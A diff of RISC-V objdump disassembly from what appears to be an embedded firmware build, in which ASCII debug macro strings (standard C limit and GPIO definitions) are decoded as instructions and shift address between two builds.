-    40b8:	3120                	fld	fs0,96(a0)
-    40ba:	312e                	fld	ft2,232(sp)
-    40bc:	3938                	fld	fa4,112(a0)
-    40be:	34313337          	lui	t1,0x34313
-    40c2:	3539                	jal	3ed0 <__stack_size+0x36d0>
-    40c4:	32373533          	0x32373533
-    40c8:	36373133          	0x36373133
-    40cc:	3035                	jal	38f8 <__stack_size+0x30f8>
-    40ce:	3538                	fld	fa4,104(a0)
-    40d0:	33393537          	lui	a0,0x33393
-    40d4:	3632                	fld	fa2,296(sp)
-    40d6:	3236                	fld	ft4,360(sp)
-    40d8:	3038                	fld	fa4,96(s0)
-    40da:	3730                	fld	fa2,104(a4)
-    40dc:	3230                	fld	fa2,96(a2)
-    40de:	2b65                	jal	4696 <__stack_size+0x3e96>
-    40e0:	3934                	fld	fa3,112(a0)
-    40e2:	36463233          	0x36463233
-    40e6:	7834                	flw	fa3,112(s0)
-    40e8:	5500                	lw	s0,40(a0)
-    40ea:	4e49                	li	t3,18
-    40ec:	4d54                	lw	a3,28(a0)
-    40ee:	5841                	li	a6,-16
-    40f0:	435f 5f00 5342      	0x53425f00435f
-    40f6:	5f44                	lw	s1,60(a4)
-    40f8:	41484357          	0x41484357
-    40fc:	5f52                	lw	t5,52(sp)
-    40fe:	5f54                	lw	a3,60(a4)
-    4100:	0020                	addi	s0,sp,8
-    4102:	535f 5f43 5954      	0x59545f43535f
-    4108:	4550                	lw	a2,12(a0)
-    410a:	5f44                	lw	s1,60(a4)
-    410c:	454d                	li	a0,19
-    410e:	4f4d                	li	t5,19
-    4110:	5952                	lw	s2,52(sp)
-    4112:	4f5f 4a42 4345      	0x43454a424f5f
-    4118:	5354                	lw	a3,36(a4)
-    411a:	3920                	fld	fs0,112(a0)
-    411c:	0031                	c.nop	12
-    411e:	5f5f 4353 4148      	0x414843535f5f
-    4124:	5f52                	lw	t5,52(sp)
-    4126:	54444957          	0x54444957
-    412a:	5f48                	lw	a0,60(a4)
-    412c:	205f 0038 4d44      	0x4d440038205f
-    4132:	5f41                	li	t5,-16
-    4134:	415f4843          	fmadd.s	fa6,ft10,fs5,fs0,rmm
-    4138:	4f42                	lw	t5,16(sp)
-    413a:	5452                	lw	s0,52(sp)
-    413c:	4f5f 4646 3020      	0x302046464f5f
-    4142:	3478                	fld	fa4,232(s0)
-    4144:	0030                	addi	a2,sp,8
-    4146:	5f5f 524f 4544      	0x4544524f5f5f
-    414c:	5f52                	lw	t5,52(sp)
-    414e:	4450                	lw	a2,12(s0)
-    4150:	5f50                	lw	a2,60(a4)
-    4152:	4e45                	li	t3,17
-    4154:	4944                	lw	s1,20(a0)
-    4156:	4e41                	li	t3,16
-    4158:	5f5f 3320 3134      	0x313433205f5f
-    415e:	0032                	c.slli	zero,0xc
-    4160:	5f5f 5441 4d4f      	0x4d4f54415f5f
-    4166:	4349                	li	t1,18
-    4168:	415f 5143 4955      	0x49555143415f
-    416e:	4552                	lw	a0,20(sp)
-    4170:	3220                	fld	fs0,96(a2)
-    4172:	5000                	lw	s0,32(s0)
-    4174:	5254                	lw	a3,36(a2)
-    4176:	4944                	lw	s1,20(a0)
-    4178:	4646                	lw	a2,80(sp)
-    417a:	4d5f 4e49 5000      	0x50004e494d5f
-    4180:	435f4d57          	0x435f4d57
-    4184:	4746                	lw	a4,80(sp)
-    4186:	435f 504d 4330      	0x4330504d435f
-    418c:	4e45                	li	t3,17
-    418e:	4554                	lw	a3,12(a0)
-    4190:	2052                	fld	ft0,272(sp)
-    4192:	7830                	flw	fa2,112(s0)
-    4194:	3030                	fld	fa2,96(s0)
-    4196:	3130                	fld	fa2,96(a0)
-    4198:	3030                	fld	fa2,96(s0)
-    419a:	3030                	fld	fa2,96(s0)
-    419c:	4600                	lw	s0,8(a2)
-    419e:	435f 564e 2054      	0x2054564e435f
-    41a4:	3231                	jal	3ab0 <__stack_size+0x32b0>
-    41a6:	5f00                	lw	s0,56(a4)
-    41a8:	495f 544e 465f      	0x465f544e495f
-    41ae:	5341                	li	t1,-16
-    41b0:	3354                	fld	fa3,160(a4)
-    41b2:	5f32                	lw	t5,44(sp)
-    41b4:	54444957          	0x54444957
-    41b8:	5f48                	lw	a0,60(a4)
-    41ba:	205f 3233 5f00      	0x5f003233205f
-    41c0:	495f 544e 465f      	0x465f544e495f
-    41c6:	5341                	li	t1,-16
-    41c8:	3654                	fld	fa3,168(a2)
-    41ca:	5f34                	lw	a3,120(a4)
-    41cc:	5954                	lw	a3,52(a0)
-    41ce:	4550                	lw	a2,12(a0)
-    41d0:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
-    41d6:	6f6c2067          	0x6f6c2067
-    41da:	676e                	flw	fa4,216(sp)
-    41dc:	6920                	flw	fs0,80(a0)
-    41de:	746e                	flw	fs0,248(sp)
-    41e0:	5f00                	lw	s0,56(a4)
-    41e2:	6e5f 696f 6c6e      	0x6c6e696f6e5f
-    41e8:	6e69                	lui	t3,0x1a
-    41ea:	2065                	jal	4292 <__stack_size+0x3a92>
-    41ec:	5f5f 7461 7274      	0x727474615f5f
-    41f2:	6269                	lui	tp,0x1a
-    41f4:	7475                	lui	s0,0xffffd
-    41f6:	5f65                	li	t5,-7
-    41f8:	205f 2828 5f5f      	0x5f5f2828205f
-    41fe:	6f6e                	flw	ft10,216(sp)
-    4200:	6e69                	lui	t3,0x1a
-    4202:	696c                	flw	fa1,84(a0)
-    4204:	656e                	flw	fa0,216(sp)
-    4206:	5f5f 2929 5300      	0x530029295f5f
-    420c:	495f 5353 434f      	0x434f5353495f
-    4212:	296d284b          	fnmsub.s	fa6,fs10,fs6,ft5,rdn
-    4216:	2820                	fld	fs0,80(s0)
-    4218:	2828                	fld	fa0,80(s0)
-    421a:	296d                	jal	46d4 <__stack_size+0x3ed4>
-    421c:	5f26                	lw	t5,104(sp)
-    421e:	4649                	li	a2,18
-    4220:	544d                	li	s0,-13
-    4222:	2029                	jal	422c <__stack_size+0x3a2c>
-    4224:	3d3d                	jal	4062 <__stack_size+0x3862>
-    4226:	5f20                	lw	s0,120(a4)
-    4228:	4649                	li	a2,18
-    422a:	4b434f53          	0x4b434f53
-    422e:	0029                	c.nop	10
-    4230:	5f5f 7461 7274      	0x727474615f5f
-    4236:	6269                	lui	tp,0x1a
-    4238:	7475                	lui	s0,0xffffd
-    423a:	5f65                	li	t5,-7
-    423c:	7570                	flw	fa2,108(a0)
-    423e:	6572                	flw	fa0,28(sp)
-    4240:	5f5f 0020 485f      	0x485f00205f5f
-    4246:	5641                	li	a2,-16
-    4248:	5f45                	li	t5,-15
-    424a:	4f4c                	lw	a1,28(a4)
-    424c:	474e                	lw	a4,208(sp)
-    424e:	445f 554f 4c42      	0x4c42554f445f
-    4254:	2045                	jal	42f4 <__stack_size+0x3af4>
-    4256:	0031                	c.nop	12
-    4258:	5f5f 4e49 5f54      	0x5f544e495f5f
-    425e:	454c                	lw	a1,12(a0)
-    4260:	5341                	li	t1,-16
-    4262:	3654                	fld	fa3,168(a2)
-    4264:	5f34                	lw	a3,120(a4)
-    4266:	414d                	li	sp,19
-    4268:	5f58                	lw	a4,60(a4)
-    426a:	205f 7830 6637      	0x66377830205f
-    4270:	6666                	flw	fa2,88(sp)
-    4272:	6666                	flw	fa2,88(sp)
-    4274:	6666                	flw	fa2,88(sp)
-    4276:	6666                	flw	fa2,88(sp)
-    4278:	6666                	flw	fa2,88(sp)
-    427a:	6666                	flw	fa2,88(sp)
-    427c:	6666                	flw	fa2,88(sp)
-    427e:	4c4c                	lw	a1,28(s0)
-    4280:	5f00                	lw	s0,56(a4)
-    4282:	585f4353          	0x585f4353
-    4286:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    428a:	435f 5952 5450      	0x54505952435f
-    4290:	3920                	fld	fs0,112(a0)
-    4292:	0036                	c.slli	zero,0xd
-    4294:	6c61                	lui	s8,0x18
-    4296:	6f6c                	flw	fa1,92(a4)
-    4298:	73286163          	bltu	a6,s2,49ba <__stack_size+0x41ba>
-    429c:	7a69                	lui	s4,0xffffa
-    429e:	2965                	jal	4756 <__stack_size+0x3f56>
-    42a0:	5f20                	lw	s0,120(a4)
-    42a2:	625f 6975 746c      	0x746c6975625f
-    42a8:	6e69                	lui	t3,0x1a
-    42aa:	615f 6c6c 636f      	0x636f6c6c615f
-    42b0:	2861                	jal	4348 <__stack_size+0x3b48>
-    42b2:	657a6973          	csrrsi	s2,0x657,20
-    42b6:	0029                	c.nop	10
-    42b8:	5f5f 4955 544e      	0x544e49555f5f
-    42be:	435f3233          	0x435f3233
-    42c2:	6328                	flw	fa0,64(a4)
-    42c4:	2029                	jal	42ce <__stack_size+0x3ace>
-    42c6:	23232063          	0x23232063
-    42ca:	5520                	lw	s0,104(a0)
-    42cc:	004c                	addi	a1,sp,4
-    42ce:	5f5f 4957 544e      	0x544e49575f5f
-    42d4:	575f 4449 4854      	0x48544449575f
-    42da:	5f5f 3320 0032      	0x3233205f5f
-    42e0:	4955                	li	s2,21
-    42e2:	544e                	lw	s0,240(sp)
-    42e4:	435f3233          	0x435f3233
-    42e8:	6328                	flw	fa0,64(a4)
-    42ea:	2029                	jal	42f4 <__stack_size+0x3af4>
-    42ec:	5f5f 4955 544e      	0x544e49555f5f
-    42f2:	435f3233          	0x435f3233
-    42f6:	6328                	flw	fa0,64(a4)
-    42f8:	0029                	c.nop	10
-    42fa:	5f46                	lw	t5,112(sp)
-    42fc:	4f544553          	0x4f544553
-    4300:	36204e57          	0x36204e57
-    4304:	5f00                	lw	s0,56(a4)
-    4306:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
-    430a:	5f44494b          	fnmsub.q	fs2,fs0,fs4,fa1,rmm
-    430e:	5f54                	lw	a3,60(a4)
-    4310:	7520                	flw	fs0,104(a0)
-    4312:	736e                	flw	ft6,248(sp)
-    4314:	6769                	lui	a4,0x1a
-    4316:	656e                	flw	fa0,216(sp)
-    4318:	2064                	fld	fs1,192(s0)
-    431a:	6f6c                	flw	fa1,92(a4)
-    431c:	676e                	flw	fa4,216(sp)
-    431e:	5f00                	lw	s0,56(a4)
-    4320:	735f 6365 6974      	0x69746365735f
-    4326:	78286e6f          	jal	t3,8aaa8 <__stack_size+0x8a2a8>
-    432a:	2029                	jal	4334 <__stack_size+0x3b34>
-    432c:	5f5f 7461 7274      	0x727474615f5f
-    4332:	6269                	lui	tp,0x1a
-    4334:	7475                	lui	s0,0xffffd
-    4336:	5f65                	li	t5,-7
-    4338:	285f 5f28 735f      	0x735f5f28285f
-    433e:	6365                	lui	t1,0x19
-    4340:	6974                	flw	fa3,84(a0)
-    4342:	5f5f6e6f          	jal	t3,fb136 <__stack_size+0xfa936>
-    4346:	7828                	flw	fa0,112(s0)
-    4348:	2929                	jal	4762 <__stack_size+0x3f62>
-    434a:	0029                	c.nop	10
-    434c:	465f 4f4e 5443      	0x54434f4e465f
-    4352:	5954                	lw	a3,52(a0)
-    4354:	3020                	fld	fs0,96(s0)
-    4356:	3878                	fld	fa4,240(s0)
-    4358:	3030                	fld	fa2,96(s0)
-    435a:	0030                	addi	a2,sp,8
-    435c:	5f5f 7470 7672      	0x767274705f5f
-    4362:	6c61                	lui	s8,0x18
-    4364:	6575                	lui	a0,0x1d
-    4366:	0020                	addi	s0,sp,8
-    4368:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    436c:	534d                	li	t1,-13
-    436e:	54415243          	0x54415243
-    4372:	33204843          	fmadd.d	fa6,ft0,fs2,ft6,rmm
-    4376:	5500                	lw	s0,40(a0)
-    4378:	4e49                	li	t3,18
-    437a:	3654                	fld	fa3,168(a2)
-    437c:	5f34                	lw	a3,120(a4)
-    437e:	414d                	li	sp,19
-    4380:	2058                	fld	fa4,128(s0)
-    4382:	5f5f 4955 544e      	0x544e49555f5f
-    4388:	3436                	fld	fs0,360(sp)
-    438a:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    4390:	4900                	lw	s0,16(a0)
-    4392:	544e                	lw	s0,240(sp)
-    4394:	4c5f 4145 5453      	0x545341454c5f
-    439a:	5f38                	lw	a4,120(a4)
-    439c:	494d                	li	s2,19
-    439e:	204e                	fld	ft0,208(sp)
-    43a0:	2d28                	fld	fa0,88(a0)
-    43a2:	4e49                	li	t3,18
-    43a4:	5f54                	lw	a3,60(a4)
-    43a6:	454c                	lw	a1,12(a0)
-    43a8:	5341                	li	t1,-16
-    43aa:	3854                	fld	fa3,176(s0)
-    43ac:	4d5f 5841 2d20      	0x2d2058414d5f
-    43b2:	3120                	fld	fs0,96(a0)
-    43b4:	0029                	c.nop	10
-    43b6:	535f 5f43 5453      	0x54535f43535f
-    43bc:	4552                	lw	a0,20(sp)
-    43be:	4d41                	li	s10,16
-    43c0:	4d5f 5841 3120      	0x312058414d5f
-    43c6:	3030                	fld	fa2,96(s0)
-    43c8:	5f00                	lw	s0,56(a4)
-    43ca:	495f 544e 414d      	0x414d544e495f
-    43d0:	5f58                	lw	a4,60(a4)
-    43d2:	54444957          	0x54444957
-    43d6:	5f48                	lw	a0,60(a4)
-    43d8:	205f 3436 7000      	0x70003436205f
-    43de:	706d                	c.lui	zero,0xffffb
-    43e0:	00676663          	bltu	a4,t1,43ec <__stack_size+0x3bec>
-    43e4:	5f5f 4e47 4355      	0x43554e475f5f
-    43ea:	494c                	lw	a1,20(a0)
-    43ec:	5f5f454b          	fnmsub.q	fa0,ft10,fs5,fa1,rmm
-    43f0:	535f 4345 4954      	0x49544345535f
-    43f6:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
-    43fa:	5f00                	lw	s0,56(a4)
-    43fc:	69647473          	csrrci	s0,0x696,8
-    4400:	5f6e                	lw	t5,248(sp)
-    4402:	2872                	fld	fa6,280(sp)
-    4404:	2978                	fld	fa4,208(a0)
-    4406:	2820                	fld	fs0,80(s0)
-    4408:	7828                	flw	fa0,112(s0)
-    440a:	2d29                	jal	4a24 <__stack_size+0x4224>
-    440c:	5f3e                	lw	t5,236(sp)
-    440e:	69647473          	csrrci	s0,0x696,8
-    4412:	296e                	fld	fs2,216(sp)
-    4414:	4600                	lw	s0,8(a2)
-    4416:	4544                	lw	s1,12(a0)
-    4418:	4546                	lw	a0,80(sp)
-    441a:	2052                	fld	ft0,272(sp)
-    441c:	465f 4544 4546      	0x45464544465f
-    4422:	0052                	c.slli	zero,0x14
-    4424:	5f5f 4e49 5f54      	0x5f544e495f5f
-    442a:	454c                	lw	a1,12(a0)
-    442c:	5341                	li	t1,-16
-    442e:	3654                	fld	fa3,168(a2)
-    4430:	5f34                	lw	a3,120(a4)
-    4432:	54444957          	0x54444957
-    4436:	5f48                	lw	a0,60(a4)
-    4438:	205f 3436 5f00      	0x5f003436205f
-    443e:	755f 6e69 3674      	0x36746e69755f
-    4444:	5f34                	lw	a3,120(a4)
-    4446:	0074                	addi	a3,sp,12
-    4448:	465f 4944 4552      	0x45524944465f
-    444e:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
+    3866:	4152                	lw	sp,20(sp)
+    3868:	444e                	lw	s0,208(sp)
+    386a:	3834                	fld	fa3,112(s0)
+    386c:	535f 4545 2844      	0x28444545535f
+    3872:	7470                	flw	fa2,108(s0)
+    3874:	2972                	fld	fs2,280(sp)
+    3876:	2820                	fld	fs0,80(s0)
+    3878:	7028                	flw	fa0,96(s0)
+    387a:	7274                	flw	fa3,100(a2)
+    387c:	2d29                	jal	3e96 <__stack_size+0x3696>
+    387e:	5f3e                	lw	t5,236(sp)
+    3880:	656e                	flw	fa0,216(sp)
+    3882:	725f2e77          	0x725f2e77
+    3886:	6565                	lui	a0,0x19
+    3888:	746e                	flw	fs0,248(sp)
+    388a:	5f2e                	lw	t5,232(sp)
+    388c:	3472                	fld	fs0,312(sp)
+    388e:	2e38                	fld	fa4,88(a2)
+    3890:	735f 6565 2964      	0x29646565735f
+    3896:	4900                	lw	s0,16(a0)
+    3898:	544e                	lw	s0,240(sp)
+    389a:	465f 5341 3654      	0x36545341465f
+    38a0:	5f34                	lw	a3,120(a4)
+    38a2:	494d                	li	s2,19
+    38a4:	004e                	c.slli	zero,0x13
+    38a6:	5f5f 4c46 3354      	0x33544c465f5f
+    38ac:	5832                	lw	a6,44(sp)
+    38ae:	4d5f 4e49 315f      	0x315f4e494d5f
+    38b4:	5f30                	lw	a2,120(a4)
+    38b6:	5845                	li	a6,-15
+    38b8:	5f50                	lw	a2,60(a4)
+    38ba:	205f 2d28 3033      	0x30332d28205f
+    38c0:	5f002937          	lui	s2,0x5f002
+    38c4:	475f 554e 4c43      	0x4c43554e475f
+    38ca:	4b49                	li	s6,18
+    38cc:	5f45                	li	t5,-15
+    38ce:	5542                	lw	a0,48(sp)
+    38d0:	4c49                	li	s8,18
+    38d2:	4954                	lw	a3,20(a0)
+    38d4:	5f4e                	lw	t5,240(sp)
+    38d6:	454d                	li	a0,19
+    38d8:	434d                	li	t1,19
+    38da:	5950                	lw	a2,52(a0)
+    38dc:	3120                	fld	fs0,96(a0)
+    38de:	5f00                	lw	s0,56(a4)
+    38e0:	5f5f 6e69 5f74      	0x5f746e695f5f
+    38e6:	657a6973          	csrrsi	s2,0x657,20
+    38ea:	745f 685f 0020      	0x20685f745f
+    38f0:	5f5f 7973 5f6d      	0x5f6d79735f5f
+    38f6:	6564                	flw	fs1,76(a0)
+    38f8:	6166                	flw	ft2,88(sp)
+    38fa:	6c75                	lui	s8,0x1d
+    38fc:	2874                	fld	fa3,208(s0)
+    38fe:	2c6d7973          	csrrci	s2,0x2c6,26
+    3902:	6d69                	lui	s10,0x1a
+    3904:	6c70                	flw	fa2,92(s0)
+    3906:	762c                	flw	fa1,104(a2)
+    3908:	7265                	lui	tp,0xffff9
+    390a:	6469                	lui	s0,0x1a
+    390c:	2029                	jal	3916 <__stack_size+0x3116>
+    390e:	5f5f 7361 5f6d      	0x5f6d73615f5f
+    3914:	285f 2e22 7973      	0x79732e22285f
+    391a:	766d                	lui	a2,0xffffb
+    391c:	7265                	lui	tp,0xffff9
+    391e:	2220                	fld	fs0,64(a2)
+    3920:	2320                	fld	fs0,64(a4)
+    3922:	6d69                	lui	s10,0x1a
+    3924:	6c70                	flw	fa2,92(s0)
+    3926:	2220                	fld	fs0,64(a2)
+    3928:	202c                	fld	fa1,64(s0)
+    392a:	2022                	fld	ft0,8(sp)
+    392c:	6d797323          	0x6d797323
+    3930:	2220                	fld	fs0,64(a2)
+    3932:	4040                	lw	s0,4(s0)
+    3934:	2022                	fld	ft0,8(sp)
+    3936:	72657623          	0x72657623
+    393a:	6469                	lui	s0,0x1a
+    393c:	0029                	c.nop	10
+    393e:	495f 5f4e 4f50      	0x4f505f4e495f
+    3944:	5452                	lw	s0,52(sp)
+    3946:	545f 445f 4345      	0x4345445f545f
+    394c:	414c                	lw	a1,4(a0)
+    394e:	4552                	lw	a0,20(sp)
+    3950:	2044                	fld	fs1,128(s0)
+    3952:	4200                	lw	s0,0(a2)
+    3954:	43535f43          	fmadd.d	ft10,ft6,fs5,fs0,unknown
+    3958:	4c41                	li	s8,16
+    395a:	5f45                	li	t5,-15
+    395c:	414d                	li	sp,19
+    395e:	2058                	fld	fa4,128(s0)
+    3960:	3939                	jal	357e <__stack_size+0x2d7e>
+    3962:	5f00                	lw	s0,56(a4)
+    3964:	5f535953          	0x5f535953
+    3968:	4954                	lw	a3,20(a0)
+    396a:	454d                	li	a0,19
+    396c:	43455053          	0x43455053
+    3970:	485f 205f 5f00      	0x5f00205f485f
+    3976:	475f 4343 415f      	0x415f4343475f
+    397c:	4f54                	lw	a3,28(a4)
+    397e:	494d                	li	s2,19
+    3980:	4f4c5f43          	fmadd.q	ft10,fs8,fs4,fs1,unknown
+    3984:	474e                	lw	a4,208(sp)
+    3986:	4c5f 434f 5f4b      	0x5f4b434f4c5f
+    398c:	5246                	lw	tp,112(sp)
+    398e:	4545                	li	a0,17
+    3990:	3220                	fld	fs0,96(a2)
+    3992:	5f00                	lw	s0,56(a4)
+    3994:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
+    3998:	49445453          	0x49445453
+    399c:	544e                	lw	s0,240(sp)
+    399e:	485f 0020 5450      	0x54500020485f
+    39a4:	4452                	lw	s0,20(sp)
+    39a6:	4649                	li	a2,18
+    39a8:	5f46                	lw	t5,112(sp)
+    39aa:	414d                	li	sp,19
+    39ac:	2058                	fld	fa4,128(s0)
+    39ae:	5f5f 5450 4452      	0x445254505f5f
+    39b4:	4649                	li	a2,18
+    39b6:	5f46                	lw	t5,112(sp)
+    39b8:	414d                	li	sp,19
+    39ba:	5f58                	lw	a4,60(a4)
+    39bc:	005f 535f 5f43      	0x5f43535f005f
+    39c2:	4f58                	lw	a4,28(a4)
+    39c4:	4550                	lw	a2,12(a0)
+    39c6:	5f4e                	lw	t5,240(sp)
+    39c8:	4e45                	li	t3,17
+    39ca:	5f48                	lw	a0,60(a4)
+    39cc:	3149                	jal	364e <__stack_size+0x2e4e>
+    39ce:	4e38                	lw	a4,88(a2)
+    39d0:	3920                	fld	fs0,112(a0)
+    39d2:	57500037          	lui	zero,0x57500
+    39d6:	5f4d                	li	t5,-13
+    39d8:	30504d43          	fmadd.s	fs10,ft0,ft5,ft6,rmm
+    39dc:	3020                	fld	fs0,96(s0)
+    39de:	3278                	fld	fa4,224(a2)
+    39e0:	0030                	addi	a2,sp,8
+    39e2:	535f 5359 5f5f      	0x5f5f5359535f
+    39e8:	4f4c                	lw	a1,28(a4)
+    39ea:	454c4143          	0x454c4143
+    39ee:	485f 0020 4b5f      	0x4b5f0020485f
+    39f4:	5945                	li	s2,-15
+    39f6:	545f 445f 4345      	0x4345445f545f
+    39fc:	414c                	lw	a1,4(a0)
+    39fe:	4552                	lw	a0,20(sp)
+    3a00:	2044                	fld	fs1,128(s0)
+    3a02:	5f00                	lw	s0,56(a4)
+    3a04:	415f4353          	0x415f4353
+    3a08:	4f49                	li	t5,18
+    3a0a:	4c5f 5349 4954      	0x495453494c5f
+    3a10:	414d5f4f          	fnmadd.s	ft10,fs10,fs4,fs0,unknown
+    3a14:	2058                	fld	fa4,128(s0)
+    3a16:	5f003433          	0x5f003433
+    3a1a:	325f4353          	0x325f4353
+    3a1e:	535f 5f57 4544      	0x45445f57535f
+    3a24:	2056                	fld	ft0,336(sp)
+    3a26:	3131                	jal	3632 <__stack_size+0x2e32>
+    3a28:	0039                	c.nop	14
+    3a2a:	535f 5f43 454c      	0x454c5f43535f
+    3a30:	4556                	lw	a0,84(sp)
+    3a32:	314c                	fld	fa1,160(a0)
+    3a34:	445f 4143 4843      	0x48434143445f
+    3a3a:	5f45                	li	t5,-15
+    3a3c:	494c                	lw	a1,20(a0)
+    3a3e:	454e                	lw	a0,208(sp)
+    3a40:	455a4953          	0x455a4953
+    3a44:	3120                	fld	fs0,96(a0)
+    3a46:	4f003033          	0x4f003033
+    3a4a:	4e5f 464f 4c4f      	0x4c4f464f4e5f
+    3a50:	4f4c                	lw	a1,28(a4)
+    3a52:	465f2057          	0x465f2057
+    3a56:	4f4e                	lw	t5,208(sp)
+    3a58:	4f46                	lw	t5,80(sp)
+    3a5a:	4c4c                	lw	a1,28(s0)
+    3a5c:	5f00574f          	fnmadd.q	fa4,ft0,fa6,fa1,unknown
+    3a60:	635f 6d6f 6970      	0x69706d6f635f
+    3a66:	656c                	flw	fa1,76(a0)
+    3a68:	5f72                	lw	t5,60(sp)
+    3a6a:	656d                	lui	a0,0x1b
+    3a6c:	626d                	lui	tp,0x1b
+    3a6e:	7261                	lui	tp,0xffff8
+    3a70:	2928                	fld	fa0,80(a0)
+    3a72:	5f20                	lw	s0,120(a4)
+    3a74:	615f 6d73 5f20      	0x5f206d73615f
+    3a7a:	765f 6c6f 7461      	0x74616c6f765f
+    3a80:	6c69                	lui	s8,0x1a
+    3a82:	2865                	jal	3b3a <__stack_size+0x333a>
+    3a84:	2022                	fld	ft0,8(sp)
+    3a86:	2022                	fld	ft0,8(sp)
+    3a88:	203a                	fld	ft0,392(sp)
+    3a8a:	203a                	fld	ft0,392(sp)
+    3a8c:	203a                	fld	ft0,392(sp)
+    3a8e:	6d22                	flw	fs10,8(sp)
+    3a90:	6d65                	lui	s10,0x19
+    3a92:	2279726f          	jal	tp,9b4b8 <__stack_size+0x9acb8>
+    3a96:	0029                	c.nop	10
+    3a98:	4c5f 4249 5f43      	0x5f4342494c5f
+    3a9e:	494c                	lw	a1,20(a0)
+    3aa0:	494d                	li	s2,19
+    3aa2:	5354                	lw	a3,36(a4)
+    3aa4:	485f 205f 0031      	0x31205f485f
+    3aaa:	535f 5f43 4150      	0x41505f43535f
+    3ab0:	49534547          	fmsub.s	fa0,ft6,fs5,fs1,rmm
+    3ab4:	455a                	lw	a0,148(sp)
+    3ab6:	3820                	fld	fs0,112(s0)
+    3ab8:	5f00                	lw	s0,56(a4)
+    3aba:	535f 4956 5f44      	0x5f444956535f
+    3ac0:	4956                	lw	s2,84(sp)
+    3ac2:	4c424953          	0x4c424953
+    3ac6:	2045                	jal	3b66 <__stack_size+0x3366>
+    3ac8:	0031                	c.nop	12
+    3aca:	4f5a                	lw	t5,148(sp)
+    3acc:	454e                	lw	a0,208(sp)
+    3ace:	5f31                	li	t5,-20
+    3ad0:	454d                	li	a0,19
+    3ad2:	47415353          	0x47415353
+    3ad6:	5f45                	li	t5,-15
+    3ad8:	4148                	lw	a0,4(a0)
+    3ada:	444e                	lw	s0,208(sp)
+    3adc:	494c                	lw	a1,20(a0)
+    3ade:	474e                	lw	a4,208(sp)
+    3ae0:	485f 205f 5f00      	0x5f00205f485f
+    3ae6:	4649                	li	a2,18
+    3ae8:	4c42                	lw	s8,16(sp)
+    3aea:	3030204b          	fnmsub.s	ft0,ft0,ft3,ft6,rdn
+    3aee:	3036                	fld	ft0,360(sp)
+    3af0:	3030                	fld	fa2,96(s0)
+    3af2:	0030                	addi	a2,sp,8
+    3af4:	535f 5359 465f      	0x465f5359535f
+    3afa:	4c544e43          	0x4c544e43
+    3afe:	485f 205f 5f00      	0x5f00205f485f
+    3b04:	545f4353          	0x545f4353
+    3b08:	5248                	lw	a0,36(a2)
+    3b0a:	4145                	li	sp,17
+    3b0c:	5f44                	lw	s1,60(a4)
+    3b0e:	5441                	li	s0,-16
+    3b10:	5254                	lw	a3,36(a2)
+    3b12:	535f 4154 4b43      	0x4b434154535f
+    3b18:	455a4953          	0x455a4953
+    3b1c:	3420                	fld	fs0,104(s0)
+    3b1e:	0034                	addi	a3,sp,8
+    3b20:	535f 5f43 4954      	0x49545f43535f
+    3b26:	454d                	li	a0,19
+    3b28:	5354554f          	fnmadd.d	fa0,fs0,fs5,fa0,unknown
+    3b2c:	3820                	fld	fs0,112(s0)
+    3b2e:	0032                	c.slli	zero,0xc
+    3b30:	5f5f 746e 686f      	0x686f746e5f5f
+    3b36:	286c                	fld	fa1,208(s0)
+    3b38:	785f 2029 5f5f      	0x5f5f2029785f
+    3b3e:	7362                	flw	ft6,56(sp)
+    3b40:	33706177          	0x33706177
+    3b44:	2832                	fld	fa6,264(sp)
+    3b46:	785f 0029 535f      	0x535f0029785f
+    3b4c:	54545f43          	0x54545f43
+    3b50:	5f59                	li	t5,-10
+    3b52:	414e                	lw	sp,208(sp)
+    3b54:	454d                	li	a0,19
+    3b56:	4d5f 5841 3420      	0x342058414d5f
+    3b5c:	0031                	c.nop	12
+    3b5e:	535f 5359 545f      	0x545f5359535f
+    3b64:	5059                	c.li	zero,-10
+    3b66:	5345                	li	t1,-15
+    3b68:	485f 0020 4146      	0x41460020485f
+    3b6e:	5050                	lw	a2,36(s0)
+    3b70:	4e45                	li	t3,17
+    3b72:	2044                	fld	fs1,128(s0)
+    3b74:	465f 5041 4550      	0x45505041465f
+    3b7a:	444e                	lw	s0,208(sp)
+    3b7c:	5f00                	lw	s0,56(a4)
+    3b7e:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
+    3b82:	41484357          	0x41484357
+    3b86:	5f52                	lw	t5,52(sp)
+    3b88:	2054                	fld	fa3,128(s0)
+    3b8a:	5f00                	lw	s0,56(a4)
+    3b8c:	41484357          	0x41484357
+    3b90:	5f52                	lw	t5,52(sp)
+    3b92:	5f54                	lw	a3,60(a4)
+    3b94:	4544                	lw	s1,12(a0)
+    3b96:	4946                	lw	s2,80(sp)
+    3b98:	454e                	lw	a0,208(sp)
+    3b9a:	5f44                	lw	s1,60(a4)
+    3b9c:	0020                	addi	s0,sp,8
+    3b9e:	5f5f 4f4c 4b43      	0x4b434f4c5f5f
+    3ba4:	495f 494e 2854      	0x2854494e495f
+    3baa:	73616c63          	bltu	sp,s6,42e2 <__stack_size+0x3ae2>
+    3bae:	6f6c2c73          	csrrs	s8,0x6f6,s8
+    3bb2:	20296b63          	bltu	s2,sp,3dc8 <__stack_size+0x35c8>
+    3bb6:	74617473          	csrrci	s0,0x746,2
+    3bba:	6369                	lui	t1,0x1a
+    3bbc:	6920                	flw	fs0,80(a0)
+    3bbe:	746e                	flw	fs0,248(sp)
+    3bc0:	6c20                	flw	fs0,88(s0)
+    3bc2:	206b636f          	jal	t1,b9dc8 <__stack_size+0xb95c8>
+    3bc6:	203d                	jal	3bf4 <__stack_size+0x33f4>
+    3bc8:	3b30                	fld	fa2,112(a4)
+    3bca:	4700                	lw	s0,8(a4)
+    3bcc:	4950                	lw	a2,20(a0)
+    3bce:	41465f4f          	fnmadd.s	ft10,fa2,fs4,fs0,unknown
+    3bd2:	4c4c                	lw	a1,28(s0)
+    3bd4:	495f 2045 7830      	0x78302045495f
+    3bda:	3032                	fld	ft0,296(sp)
+    3bdc:	5f00                	lw	s0,56(a4)
+    3bde:	495f 544e 465f      	0x465f544e495f
+    3be4:	5341                	li	t1,-16
